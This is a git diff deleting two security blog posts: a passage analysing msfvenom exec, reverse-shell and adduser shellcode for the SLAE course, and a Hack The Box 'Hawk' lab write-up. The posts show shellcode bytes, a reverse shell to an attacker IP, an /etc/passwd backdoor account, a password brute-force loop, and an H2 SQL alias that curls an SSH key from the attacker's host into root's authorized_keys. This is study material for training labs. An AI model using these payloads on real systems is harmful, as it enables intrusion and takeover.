---------------------------------------- - -The `linux/x86/exec` msfvenom payload simply executes an arbitrary program configured with the `CMD` parameter. - -The payload for this analysis was generated as follows: - -``` -slemire@slae:~/slae32/assignment5/1_exec$ msfvenom -p linux/x86/exec -f c -o exec_shellcode CMD=/usr/bin/id -[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload -[-] No arch selected, selecting arch: x86 from the payload -No encoder or badchars specified, outputting raw payload -Payload size: 47 bytes -Final size of c file: 224 bytes -Saved as: exec_shellcode -``` - -Next, it was added to the skeleton test C program that was used for the other assignments. - -```c -#include - -char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68" -"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0c\x00\x00\x00\x2f" -"\x75\x73\x72\x2f\x62\x69\x6e\x2f\x69\x64\x00\x57\x53\x89\xe1" -"\xcd\x80"; - -int main() -{ - int (*ret)() = (int(*)())shellcode; - printf("Size: %d bytes.\n", sizeof(shellcode)); - ret(); -} -``` - -The shellcode is compiled with the `-z execstack` flag to make the stack executable then tested to make sure it works: - -``` -slemire@slae:~/slae32/assignment5/1_exec$ gcc -z execstack -o shellcode shellcode.c -slemire@slae:~/slae32/assignment5/1_exec$ ./shellcode -Size: 48 bytes. -uid=1000(slemire) gid=1000(slemire) groups=1000(slemire),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) -``` - -The `sctest` program from `libemu2` can be used to emulate the specific instructions in the shellcode and help understand how the shellcode works. As show in the output below, we can clearly see that the shellcode executes the `execve` function, using `/bin/sh` as the program name. The command `/usr/bin/id` that was configured in the payload through msfvenom is executed using the `-c` command flag of `/bin/sh`. - -``` -slemire@slae:~/slae32/assignment5/1_exec$ msfvenom -p linux/x86/exec CMD=/usr/bin/id | sctest -v -Ss 100000 -verbose = 1 -[...] -execve -int execve (const char *dateiname=00416fc0={/bin/sh}, const char * argv[], const char *envp[]); -cpu error error accessing 0x00000004 not mapped - -stepcount 15 -int execve ( - const char * dateiname = 0x00416fc0 => - = "/bin/sh"; - const char * argv[] = [ - = 0x00416fb0 => - = 0x00416fc0 => - = "/bin/sh"; - = 0x00416fb4 => - = 0x00416fc8 => - = "-c"; - = 0x00416fb8 => - = 0x0041701d => - = "/usr/bin/id"; - = 0x00000000 => - none; - ]; - const char * envp[] = 0x00000000 => - none; -) = 0; -``` - -`ndisasm` is used to decode the instructions from the shellcode: - -``` -slemire@slae:~/slae32/assignment5/1_exec$ msfvenom -p linux/x86/exec CMD=/usr/bin/id | ndisasm -b 32 - -[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload -[-] No arch selected, selecting arch: x86 from the payload -No encoder or badchars specified, outputting raw payload -Payload size: 47 bytes - -00000000 6A0B push byte +0xb -00000002 58 pop eax -00000003 99 cdq -00000004 52 push edx -00000005 66682D63 push word 0x632d -00000009 89E7 mov edi,esp -0000000B 682F736800 push dword 0x68732f -00000010 682F62696E push dword 0x6e69622f -00000015 89E3 mov ebx,esp -00000017 52 push edx -00000018 E80C000000 call dword 0x29 -0000001D 2F das -0000001E 7573 jnz 0x93 -00000020 722F jc 0x51 -00000022 62696E bound ebp,[ecx+0x6e] -00000025 2F das -00000026 696400575389E1CD imul esp,[eax+eax+0x57],dword 0xcde18953 -0000002E 80 db 0x80 -``` - -## Stepping through the shellcode - -The syscall for `execve` is `0xb` and needs to be placed into the `$eax` register before calling `int 0x80`. It could be done with `mov eax, 0xb` but this uses a longer shellcode, so instead the `push` and `pop` instructions are used to place the `0xb` in the `$eax` register. -```nasm -push byte +0xb ; top of stack = 0xb -pop eax ; eax -> 0xb -``` - -The `$edx` register will be set to null since we don't need to pass any environment variables to the program that is executed. Using the `cdq` instruction is a little trick to further reduce the shellcode size. It extends the sign bit of the `$eax` register (which is not set since its value is `0xb`) into the `$edx` register, effectively changing it to zero. -```nasm -cdq ; edx -> 0 -push edx ; -``` - -The address of the the 2nd argument `-c` is moved into `$edi`. This'll be used later when pushing the arguments on the stack. -```nasm -push word 0x632d ; const char * argv[] -> "-c" -mov edi,esp ; -```` - -The first argument `const char *filename` contains a pointer to the filename that'll be executed. The `/bin/sh` is pushed on the stack, then the `$esp` value is copied to `$ebx` so it'll be used for the `execve` syscall. -```nasm -push dword 0x68732f ; /bin/sh -push dword 0x6e69622f ; [...] -mov ebx,esp ; const char *filename -> "/bin/sh" -push edx -``` - -The `call` instruction first places the address of `/usr/bin/id` on the stack then jumps to the instructions following the null byte below. -```nasm -E80C000000 call dword 0x29 ; push on the stack the address of string "/usr/bin/id" -2F das ; /usr/bin/id -7573 jnz 0x93 ; [...] -722F jc 0x51 ; [...] -62696E bound ebp,[ecx+0x6e] ; [...] -2F das ; [...] -696400575389E1CD imul esp,[eax+eax+0x57],dword 0xcde18953 ; [...] -``` - -After the call instruction, gdb shows that the next instructions push the argv[] in the reverse order: -``` -$eax : 0xb -$ebx : 0xbffff59e → "/bin/sh" -$ecx : 0x7ffffff7 -$edx : 0x0 -$esp : 0xbffff596 → 0x0804a05d → "/usr/bin/id" -$ebp : 0xbffff5c8 → 0x00000000 -$esi : 0xb7fcc000 → 0x001b1db0 -$edi : 0xbffff5a6 → 0x0000632d ("-c"?) -[...] -0xbffff596│+0x0000: 0x0804a05d → "/usr/bin/id" ← $esp -0xbffff59a│+0x0004: 0x00000000 -0xbffff59e│+0x0008: "/bin/sh" -0xbffff5a2│+0x000c: 0x0068732f ("/sh"?) -0xbffff5a6│+0x0010: 0x0000632d ("-c"?) -0xbffff5aa│+0x0014: 0x843a0000 -0xbffff5ae│+0x0018: 0x00010804 -0xbffff5b2│+0x001c: 0xf6740000 -───────────────────────────────────────────────────────── code:x86:32 ──── - → 0x804a069 push edi - 0x804a06a push ebx - 0x804a06b mov ecx, esp - 0x804a06d int 0x80 -``` - -After the `push`, the stack looks like this: -``` -0xbffff58e│+0x0000: 0xbffff59e → "/bin/sh" ← $esp -0xbffff592│+0x0004: 0xbffff5a6 → 0x0000632d ("-c"?) -0xbffff596│+0x0008: 0x0804a05d → "/usr/bin/id" -``` - -The `argv[]` now contains : `["/bin/sh", "-c", "/usr/bin/id"]` and the `$ecx` register contains the memory adress of this array. - -Finally, `execve` is called using the `int 0x80` instruction. - -# Shellcode analysis #2: linux/x86/shell_reverse_tcp ---------------------------------------- - -The `linux/x86/shell_reverse_tcp` msfvenom payload connects back to a remote machine, executes a shell and redirects output to the socket. This type of payload is commonly used when a firewall restrict incoming connections but allow outbound connections. - -The payload for this analysis was generated as follows: - -``` -slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ msfvenom -p linux/x86/shell_reverse_tcp -f c -o shell_reverse_tcp_shellcode LHOST=172.23.10.37 LPORT=4444 -[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload -[-] No arch selected, selecting arch: x86 from the payload -No encoder or badchars specified, outputting raw payload -Payload size: 68 bytes -Final size of c file: 311 bytes -Saved as: shell_reverse_tcp_shellcode -``` - -Compiling and verifying that the shellcode works: - -``` -slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ gcc -z execstack -o shellcode shellcode.c -slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ ./shellcode -Size: 69 bytes. -[...] -slemire@slae:~$ nc -lvnp 4444 -Listening on [0.0.0.0] (family 0, port 4444) -Connection from [172.23.10.37] port 4444 [tcp/*] accepted (family 2, sport 53684) -id -uid=1000(slemire) gid=1000(slemire) groups=1000(slemire),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) -``` - -With libemu's `sctest` utility, we can see that the shellcode executes the following functions: -- socket -- dup2 (duplicate stdin, stdout and stderr descriptors) -- connect -- execve - -``` -slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.23.10.37 LPORT=4444 | sctest -v -Ss 100000 -verbose = 1 -[...] -int socket ( - int domain = 2; - int type = 1; - int protocol = 0; -) = 14; -int dup2 ( - int oldfd = 14; - int newfd = 2; -) = 2; -int dup2 ( - int oldfd = 14; - int newfd = 1; -) = 1; -int dup2 ( - int oldfd = 14; - int newfd = 0; -) = 0; -int connect ( - int sockfd = 14; - struct sockaddr_in * serv_addr = 0x00416fbe => - struct = { - short sin_family = 2; - unsigned short sin_port = 23569 (port=4444); - struct in_addr sin_addr = { - unsigned long s_addr = 621418412 (host=172.23.10.37); - }; - char sin_zero = " "; - }; - int addrlen = 102; -) = 0; -int execve ( - const char * dateiname = 0x00416fa6 => - = "//bin/sh"; - const char * argv[] = [ - = 0x00416f9e => - = 0x00416fa6 => - = "//bin/sh"; - = 0x00000000 => - none; - ]; - const char * envp[] = 0x00000000 => - none; -) = 0; -``` - -With `ndisasm`, we can disassemble the shellcode produced by msfvenom: -``` -slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.23.10.37 LPORT=4444 | ndisasm -b32 - > shell_reverse_tcp.asm -[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload -[-] No arch selected, selecting arch: x86 from the payload -No encoder or badchars specified, outputting raw payload -Payload size: 68 bytes - -slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ cat shell_reverse_tcp.asm -00000000 31DB xor ebx,ebx -00000002 F7E3 mul ebx -00000004 53 push ebx -00000005 43 inc ebx -00000006 53 push ebx -00000007 6A02 push byte +0x2 -00000009 89E1 mov ecx,esp -0000000B B066 mov al,0x66 -0000000D CD80 int 0x80 -0000000F 93 xchg eax,ebx -00000010 59 pop ecx -00000011 B03F mov al,0x3f -00000013 CD80 int 0x80 -00000015 49 dec ecx -00000016 79F9 jns 0x11 -00000018 68AC170A25 push dword 0x250a17ac -0000001D 680200115C push dword 0x5c110002 -00000022 89E1 mov ecx,esp -00000024 B066 mov al,0x66 -00000026 50 push eax -00000027 51 push ecx -00000028 53 push ebx -00000029 B303 mov bl,0x3 -0000002B 89E1 mov ecx,esp -0000002D CD80 int 0x80 -0000002F 52 push edx -00000030 686E2F7368 push dword 0x68732f6e -00000035 682F2F6269 push dword 0x69622f2f -0000003A 89E3 mov ebx,esp -0000003C 52 push edx -0000003D 53 push ebx -0000003E 89E1 mov ecx,esp -00000040 B00B mov al,0xb -00000042 CD80 int 0x80 -``` - -## Stepping through the shellcode - -First, registers are cleared. The `mul` instruction is a shortcut to zero out `eax` and `edx` with a single instruction. -```nasm -xor ebx,ebx ; ebx = 0 -mul ebx ; eax = 0, edx = 0 -``` - -`int socket(int domain, int type, int protocol);` - -The socket is created: -- AF_INET = IP -- SOCK_STREAM = tcp - -```nasm -inc ebx ; ebx = 1 (SYS_SOCKET) -push ebx ; socket() -> type = 1 (SOCK_STREAM) -push byte +0x2 ; socket() -> domain = 2 (AF_INET) -mov ecx,esp ; socketcall() -> *args -mov al,0x66 ; sys_socketcall -> SYS_SOCKET -int 0x80 -``` - -`int dup2(int oldfd, int newfd)` - -stdin, stdout and stderr are duplicated to the network socket: - -```nasm -xchg eax,ebx ; eax = 1, ebx = 3 (fd) -pop ecx ; ecx = 2 -mov al,0x3f ; sys_dup2 -int 0x80 ; -dec ecx ; -jns 0x11 ; loop through stdin, stdout, stderr -``` - -`int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)` - -The socket is then connected to the remote listener *172.23.10.37 / 4444*: - -```nasm -push dword 0x250a17ac ; IP: 172.23.10.38 -push dword 0x5c110002 ; Port: 4444 -mov ecx,esp ; socketcall() -> *args -mov al,0x66 ; sys_socketcall -> SYS_CONNECT -push eax ; socklen_t addrlen = 66 -push ecx ; const struct sockaddr *addr -push ebx ; int sockfd = 3 (fd) -mov bl,0x3 ; ebx = 3 (SYS_CONNECT) -mov ecx,esp ; socketcall() -> *args -int 0x80 -``` - -`int execve(const char *filename, char *const argv[], char *const envp[])` - -Once the socket is connected, `execve` is used to spawn a shell and since the descriptors have previously been duplicated the input and output will be redirected over the network. - -```nasm -push edx ; edx = 0 -push dword 0x68732f6e ; //bin/sh -push dword 0x69622f2f ; [...] -mov ebx,esp ; const char *filename -> /bin/sh -push edx ; -push ebx ; -mov ecx,esp ; char *const argv[] -> /bin/sh -mov al,0xb ; sys_execve -int 0x80 -``` - -# Shellcode analysis #3: linux/x86/adduser ---------------------------------------- - -The `linux/x86/adduser` shellcode adds a new user to `/etc/passwd` with an arbitrary username and password. The password is encoded in traditional descrypt format directly in the file instead of `/etc/shadow`. - -Creating the shellcode -``` -slemire@slae:~/slae32/assignment5/3_adduser$ msfvenom -p linux/x86/adduser -f c -o adduser_shellcode USER=slae PASS=slae -[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload -[-] No arch selected, selecting arch: x86 from the payload -No encoder or badchars specified, outputting raw payload -Payload size: 91 bytes -Final size of c file: 409 bytes -Saved as: adduser_shellcode -``` - -Verifying that the shellcode works by adding a user `slae` with password `slae` -``` -slemire@slae:~/slae32/assignment5/3_adduser$ gcc -z execstack -o shellcode shellcode.c -slemire@slae:~/slae32/assignment5/3_adduser$ sudo ./shellcode -[sudo] password for slemire: -Size: 92 bytes. -slemire@slae:~/slae32/assignment5/3_adduser$ grep slae /etc/passwd -slae:AzH43ypX/zepc:0:0::/:/bin/sh -``` - -`ndisasm` is used to dissassemble the shellcode: -``` -slemire@slae:~/slae32/assignment5/3_adduser$ msfvenom -p linux/x86/adduser USER=slae PASS=slae | ndisasm -b32 - -[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload -[-] No arch selected, selecting arch: x86 from the payload -No encoder or badchars specified, outputting raw payload -Payload size: 91 bytes - -00000000 31C9 xor ecx,ecx -00000002 89CB mov ebx,ecx -00000004 6A46 push byte +0x46 -00000006 58 pop eax -00000007 CD80 int 0x80 -00000009 6A05 push byte +0x5 -0000000B 58 pop eax -0000000C 31C9 xor ecx,ecx -0000000E 51 push ecx -0000000F 6873737764 push dword 0x64777373 -00000014 682F2F7061 push dword 0x61702f2f -00000019 682F657463 push dword 0x6374652f -0000001E 89E3 mov ebx,esp -00000020 41 inc ecx -00000021 B504 mov ch,0x4 -00000023 CD80 int 0x80 -00000025 93 xchg eax,ebx -00000026 E822000000 call dword 0x4d -0000002B 736C jnc 0x99 -> Start of username/password string -0000002D 61 popad .. -0000002E 653A417A cmp al,[gs:ecx+0x7a] .. -00000032 48 dec eax -00000033 3433 xor al,0x33 -00000035 7970 jns 0xa7 -00000037 58 pop eax -00000038 2F das -00000039 7A65 jpe 0xa0 -0000003B 7063 jo 0xa0 -0000003D 3A30 cmp dh,[eax] -0000003F 3A30 cmp dh,[eax] -00000041 3A3A cmp bh,[edx] -00000043 2F das -00000044 3A2F cmp ch,[edi] -00000046 62696E bound ebp,[ecx+0x6e] -00000049 2F das -0000004A 7368 jnc 0xb4 -0000004C 0A598B or bl,[ecx-0x75] -0000004F 51 push ecx -00000050 FC cld -00000051 6A04 push byte +0x4 -00000053 58 pop eax -00000054 CD80 int 0x80 -00000056 6A01 push byte +0x1 -00000058 58 pop eax -00000059 CD80 int 0x80 -``` - -## Stepping through the shellcode - -`int setreuid(uid_t ruid, uid_t euid)` - -> setreuid() can be used by daemon processes to change the identity of a process in order for the process to be used to run work on behalf of a user. - -The `setreuid` function is called so the program executes as root (of course, the user or process executing the shellcode must have privileges to do so). This is often used when the process itself doesn't run as root but has privileges to do, for example if the SUID bit is set on the file. - -```nasm -xor ecx,ecx ; ecx = 0 -mov ebx,ecx ; ebx = 0 -push byte +0x46 ; eax = 0x46 -> sys_setreuid16 -pop eax -int 0x80 -``` - -`int open(const char *pathname, int flags)` - -A file descriptor is then created so the shellcode can write the new user into `/etc/passwd`. The `open` function expects a pointer to the filename `/etc/passwd` and the flags. The filename contains extra slashes so make it 4 bytes aligned. The extra slashes in the filename don't change the behavior as Linux don't care of there is a single slash or multiple ones. - -Flags specify if the file should be opened as read-only, write-only, etc. - -The list of flags is in the `fnctl.h` file: - -``` -#define O_ACCMODE 00000003 -#define O_RDONLY 00000000 -#define O_WRONLY 00000001 -#define O_RDWR 00000002 -#define O_CREAT 00000100 -#define O_EXCL 00000200 -#define O_NOCTTY 00000400 -#define O_TRUNC 00001000 -#define O_APPEND 00002000 -... -``` - -These values are encoded in octal base, so when we look at the disassembled code below for the `open` function, we see that the `$ecx` register contains the value 0x401 which translates to 2001 in octal base. Therefore the `O_WRONLY` and `O_APPEND` flags are used on `/etc/passwd`. - -```nasm -push byte +0x5 ; eax = 0x5 -> sys_open -pop eax -xor ecx,ecx ; ecx = 0 -push ecx ; null-terminate pathname string -push dword 0x64777373 ; /etc//passwd -push dword 0x61702f2f ; [...] -push dword 0x6374652f ; [...] -mov ebx,esp ; const char *pathname -> /etc//passwd -inc ecx ; ecx = 0x1 -mov ch,0x4 ; ecx = 0x401, int flags -> O_TRUNC + O_WRONLY -int 0x80 -``` - -The next bit of code pushes on the stack the memory address of new `/etc/passwd` line that'll get added. Then the code jumps further down in the code. -```nasm -xchg eax,ebx ; eax = */etc//passwd, ebx = 3 -call dword 0x4d ; put username entry on the stack -``` - -The code lands here, where the `write` function is called to add the username into the file. - -`write(int fd, const void *buf, size_t count)` - -```nasm -pop ecx ; username entry: slae:AzH43ypX/zepc... -mov edx, DWORD PTR [ecx-0x4] ; len -push 0x4 ; eax = 0x4 -> sys_write -pop eax -int 0x80 -``` - -Then finally, the program exits: - -```nasm -push 0x1 ; eax = 0x1 -> sys_exit -pop eax -int 0x80 -``` - ---------------------------------------- - -This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: - -[http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/](http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) - -Student ID: SLAE-1236 - -All source files can be found on GitHub at [https://github.com/slemire/slae32](https://github.com/slemire/slae32) \ No newline at end of file diff --git a/_posts/2018-12-01-htb-writeup-hawk.md b/_posts/2018-12-01-htb-writeup-hawk.md deleted file mode 100644 index c24cbeb26d..0000000000 --- a/_posts/2018-12-01-htb-writeup-hawk.md +++ /dev/null @@ -1,389 +0,0 @@ ---- -layout: single -title: Hawk - Hack The Box -date: 2018-12-01 -classes: wide -header: - teaser: /assets/images/htb-writeup-hawk/hawk.png -categories: - - hackthebox - - infosec -tags: - - hackthebox - - drupal ---- - -## Linux / 10.10.10.102 - -![](/assets/images/htb-writeup-hawk/hawk.png) - -This blog post is a quick writeup of Hawk from Hack the Box. - -### Summary ------------------- -- The server is running an FTP server, a Drupal website and an H2 database (which is not accessible remotely) -- There is an OpenSSL encrypted file on the publicly accessible FTP server -- We can bruteforce the key using a bash script and the openssl command -- The file contains the password for the Drupal admin account -- Once we are logged in to Drupal, we can create a PHP file that creates a reverse shell -- The shell gets us `www-data` and we can find the connection password in the Drupal configuration file -- We can log in as user `daniel` with the password we found -- The normal `/bin/bash` shell for user `daniel` has been replaced by `python`, which we can escape using `pty.spawn` -- Looking at the running processes, we find that the H2 database is running as `root` -- We can access the web interface by creating an SSH reverse tunnel back to our Kali machine -- The `sa` username is using the default empty password but we can log in by changing the URL to anything other than the default string -- Once logged in, we can execute commands as root using H2 SQL commands - -### Tools/Blogs - -- [https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html](https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html) - -### Detailed steps ------------------- - -#### Nmap - -Services running: - -- FTP -- SSH -- Apache -- 5435 (?) -- H2 database (Web & TCP interface) - -``` -root@violentunicorn:~/hackthebox/Machines/Hawk# nmap -p- 10.10.10.102 -Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-14 19:26 EDT -Nmap scan report for hawk.htb (10.10.10.102) -Host is up (0.017s latency). -Not shown: 65529 closed ports -PORT STATE SERVICE -21/tcp open ftp -22/tcp open ssh -80/tcp open http -5435/tcp open sceanics -8082/tcp open blackice-alerts -9092/tcp open XmlIpcRegSvc - -Nmap done: 1 IP address (1 host up) scanned in 10.50 seconds -``` - -#### Services enumeration - -Drupal is running on Port 80. - -H2's database is not accessible on the HTTP port: - -``` -H2 Console - -Sorry, remote connections ('webAllowOthers') are disabled on this server. -``` - -H2's database is not accessible on the TCP port: - -``` -root@violentunicorn:~/Hawk# telnet 10.10.10.102 9092 -Trying 10.10.10.102... -Connected to 10.10.10.102. -Escape character is '^]'. -90117FRemote connections to this server are not allowed, see -tcpAllowOthers��`�org.h2.jdbc.JdbcSQLException: Remote connections to this server are not allowed, see -tcpAllowOthers [90117-196] - at org.h2.message.DbException.getJdbcSQLException(DbException.java:345) - at org.h2.message.DbException.get(DbException.java:179) - at org.h2.message.DbException.get(DbException.java:155) - at org.h2.message.DbException.get(DbException.java:144) - at org.h2.server.TcpServerThread.run(TcpServerThread.java:82) - at java.base/java.lang.Thread.run(Thread.java:844) -Connection closed by foreign host. -``` - -#### FTP recon & credentials file - -Anonymous access is allowed on the server and there's a single file we can download. - -``` -root@violentunicorn:~/hackthebox/Machines/Hawk# ftp 10.10.10.102 -Connected to 10.10.10.102. -220 (vsFTPd 3.0.3) -Name (10.10.10.102:root): anonymous -230 Login successful. -Remote system type is UNIX. -Using binary mode to transfer files. -ftp> ls -200 PORT command successful. Consider using PASV. -150 Here comes the directory listing. -drwxr-xr-x 2 ftp ftp 4096 Jun 16 22:21 messages -226 Directory send OK. - -ftp> cd messages -250 Directory successfully changed. - -ftp> ls -la -200 PORT command successful. Consider using PASV. -150 Here comes the directory listing. -drwxr-xr-x 2 ftp ftp 4096 Jun 16 22:21 . -drwxr-xr-x 3 ftp ftp 4096 Jun 16 22:14 .. --rw-r--r-- 1 ftp ftp 240 Jun 16 22:21 .drupal.txt.enc -226 Directory send OK. - -ftp> get .drupal.txt.enc -local: .drupal.txt.enc remote: .drupal.txt.enc -200 PORT command successful. Consider using PASV. -150 Opening BINARY mode data connection for .drupal.txt.enc (240 bytes). -226 Transfer complete. -240 bytes received in 0.00 secs (3.4679 MB/s) -``` - -The file contains a base64 encoded OpenSSL encrypted file - -``` -root@violentunicorn:~/hackthebox/Machines/Hawk# cat drupal.txt.enc -U2FsdGVkX19rWSAG1JNpLTawAmzz/ckaN1oZFZewtIM+e84km3Csja3GADUg2jJb -CmSdwTtr/IIShvTbUd0yQxfe9OuoMxxfNIUN/YPHx+vVw/6eOD+Cc1ftaiNUEiQz -QUf9FyxmCb2fuFoOXGphAMo+Pkc2ChXgLsj4RfgX+P7DkFa8w1ZA9Yj7kR+tyZfy -t4M0qvmWvMhAj3fuuKCCeFoXpYBOacGvUHRGywb4YCk= - -root@violentunicorn:~/hackthebox/Machines/Hawk# base64 -d drupal.txt.enc > drupal-decoded.txt.enc -root@violentunicorn:~/hackthebox/Machines/Hawk# file drupal-decoded.txt.enc -drupal-decoded.txt.enc: openssl enc'd data with salted password -``` - -To brute-force the file, I've tried using [bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) but that tools is shit so I made my own script that does the same thing. - -```sh -for pwd in $(cat /root/SecLists/Passwords/rockyou-75.txt) - do openssl enc -aes-256-cbc -d -a -in drupal.txt.enc -out file.txt -k $pwd - if [ $? -eq 0 ] - then - exit 1 - fi -done -``` - -The file contains a password: - -``` -root@violentunicorn:~/hackthebox/Machines/Hawk# cat file.txt -Daniel, - -Following the password for the portal: - -PencilKeyboardScanner123 - -Please let us know when the portal is ready. - -Kind Regards, - -IT department -``` - -#### Drupal - -So first we'll log on to Drupal with: - - Username: `admin` - - Password: `PencilKeyboardScanner123` - -![Drupal login](/assets/images/htb-writeup-hawk/drupal1.png) - -Next we need to enable `PHP filters` so we can embed PHP in pages. - -![PHP filter](/assets/images/htb-writeup-hawk/drupal2.png) - -Then we'll create a PHP page with a simple reverse shell. - -![PHP reverse shell](/assets/images/htb-writeup-hawk/drupal3.png) - -``` -root@violentunicorn:~# nc -lvnp 4444 -listening on [any] 4444 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.102] 53700 -/bin/sh: 0: can't access tty; job control turned off -$ id -uid=33(www-data) gid=33(www-data) groups=33(www-data) -$ cd /home -$ ls -daniel -$ cd daniel -$ ls -user.txt -$ cat user.txt -d5111d -``` - -We can find that there is another user: `daniel` - -``` -$ cat /etc/passwd -root:x:0:0:root:/root:/bin/bash -daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin -bin:x:2:2:bin:/bin:/usr/sbin/nologin -sys:x:3:3:sys:/dev:/usr/sbin/nologin -sync:x:4:65534:sync:/bin:/bin/sync -games:x:5:60:games:/usr/games:/usr/sbin/nologin -man:x:6:12:man:/var/cache/man:/usr/sbin/nologin -lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin -mail:x:8:8:mail:/var/mail:/usr/sbin/nologin -news:x:9:9:news:/var/spool/news:/usr/sbin/nologin -uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin -proxy:x:13:13:proxy:/bin:/usr/sbin/nologin -www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin -backup:x:34:34:backup:/var/backups:/usr/sbin/nologin -list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin -irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin -gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin -nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin -systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin -systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin -syslog:x:102:106::/home/syslog:/usr/sbin/nologin -messagebus:x:103:107::/nonexistent:/usr/sbin/nologin -_apt:x:104:65534::/nonexistent:/usr/sbin/nologin -lxd:x:105:65534::/var/lib/lxd/:/bin/false -uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin -dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin -landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin -pollinate:x:109:1::/var/cache/pollinate:/bin/false -sshd:x:110:65534::/run/sshd:/usr/sbin/nologin -tomcat:x:1001:46::/opt/tomat/temp:/sbin/nologin -mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false -daniel:x:1002:1005::/home/daniel:/usr/bin/python3 -ftp:x:112:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin -Debian-snmp:x:113:116::/var/lib/snmp:/bin/false -``` - -#### Getting access to user daniel - -In `/var/www/html/sites/default/settings.php` we find some credentials: - -``` -$databases = array ( - 'default' => - array ( - 'default' => - array ( - 'database' => 'drupal', - 'username' => 'drupal', - 'password' => 'drupal4hawk', - 'host' => 'localhost', - 'port' => '', - 'driver' => 'mysql', - 'prefix' => '', - ), - ), -); -``` - -Password: `drupal4hawk` - -We can log in as user daniel with this password: - -``` -root@violentunicorn:~# ssh daniel@10.10.10.102 -daniel@10.10.10.102's password: - -Last login: Sun Jul 1 13:46:16 2018 from dead:beef:2::1004 -Python 3.6.5 (default, Apr 1 2018, 05:46:30) -[GCC 7.3.0] on linux -Type "help", "copyright", "credits" or "license" for more information. ->>> -``` - -We can escape this python interactive shell with: - -``` ->>> import pty ->>> pty.spawn("/bin/bash") -daniel@hawk:~$ id -uid=1002(daniel) gid=1005(daniel) groups=1005(daniel) -``` - -#### Privesc using H2 database - -To access the H2 database remotely, we'll do an SSH reverse tunnel: - -``` -daniel@hawk:~$ ssh -R 8082:localhost:8082 root@10.10.14.23 -The authenticity of host '10.10.14.23 (10.10.14.23)' can't be established. -ECDSA key fingerprint is SHA256:F1UaVc5s2w2++Hm8MXsITptkhljyxkLiczC12e3U2nA. -Are you sure you want to continue connecting (yes/no)? yes -Warning: Permanently added '10.10.14.23' (ECDSA) to the list of known hosts. -root@10.10.14.23's password: -Linux violentunicorn 4.15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kali1 (2018-04-25) x86_64 - -The programs included with the Kali GNU/Linux system are free software; -the exact distribution terms for each program are described in the -individual files in /usr/share/doc/*/copyright. - -Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent -permitted by applicable law. -Last login: Sat Jul 14 18:49:44 2018 from 10.10.10.102 -``` - -We can then access the login page. - -![H2 login](/assets/images/htb-writeup-hawk/h2login.png) - -We have access to the preferences and we can enable remote access. - -![H2 preferences](/assets/images/htb-writeup-hawk/h2prefs.png) - -We can't log in with the default URL because the relative path is causing problems. - -![H2 login failed](/assets/images/htb-writeup-hawk/h2login_failed.png) - -![H2 URL](/assets/images/htb-writeup-hawk/h2url1.png) - -If we change the URL to something else we can write to, we are able to log in. - -![H2 URL](/assets/images/htb-writeup-hawk/h2url2.png) - -![H2 URL](/assets/images/htb-writeup-hawk/h2sql1.png) - -Next, we'll use a shellexec() command to gain RCE on the server: - -![H2 URL](/assets/images/htb-writeup-hawk/h2sql2.png) - -![H2 URL](/assets/images/htb-writeup-hawk/h2sql3.png) - -In this case we are dropping our SSH public key in the root `authorized_keys` file: - -``` -CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$; - -CALL SHELLEXEC('curl 10.10.14.23/id_rsa.pub -o /root/.ssh/authorized_keys') -``` - -We can then log in as root and grab the root flag: - -``` -root@violentunicorn:~/.ssh# ssh root@10.10.10.102 -Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-23-generic x86_64) - - * Documentation: https://help.ubuntu.com - * Management: https://landscape.canonical.com - * Support: https://ubuntu.com/advantage - - System information as of Sun Jul 15 00:00:21 UTC 2018 - - System load: 0.03 Processes: 113 - Usage of /: 54.1% of 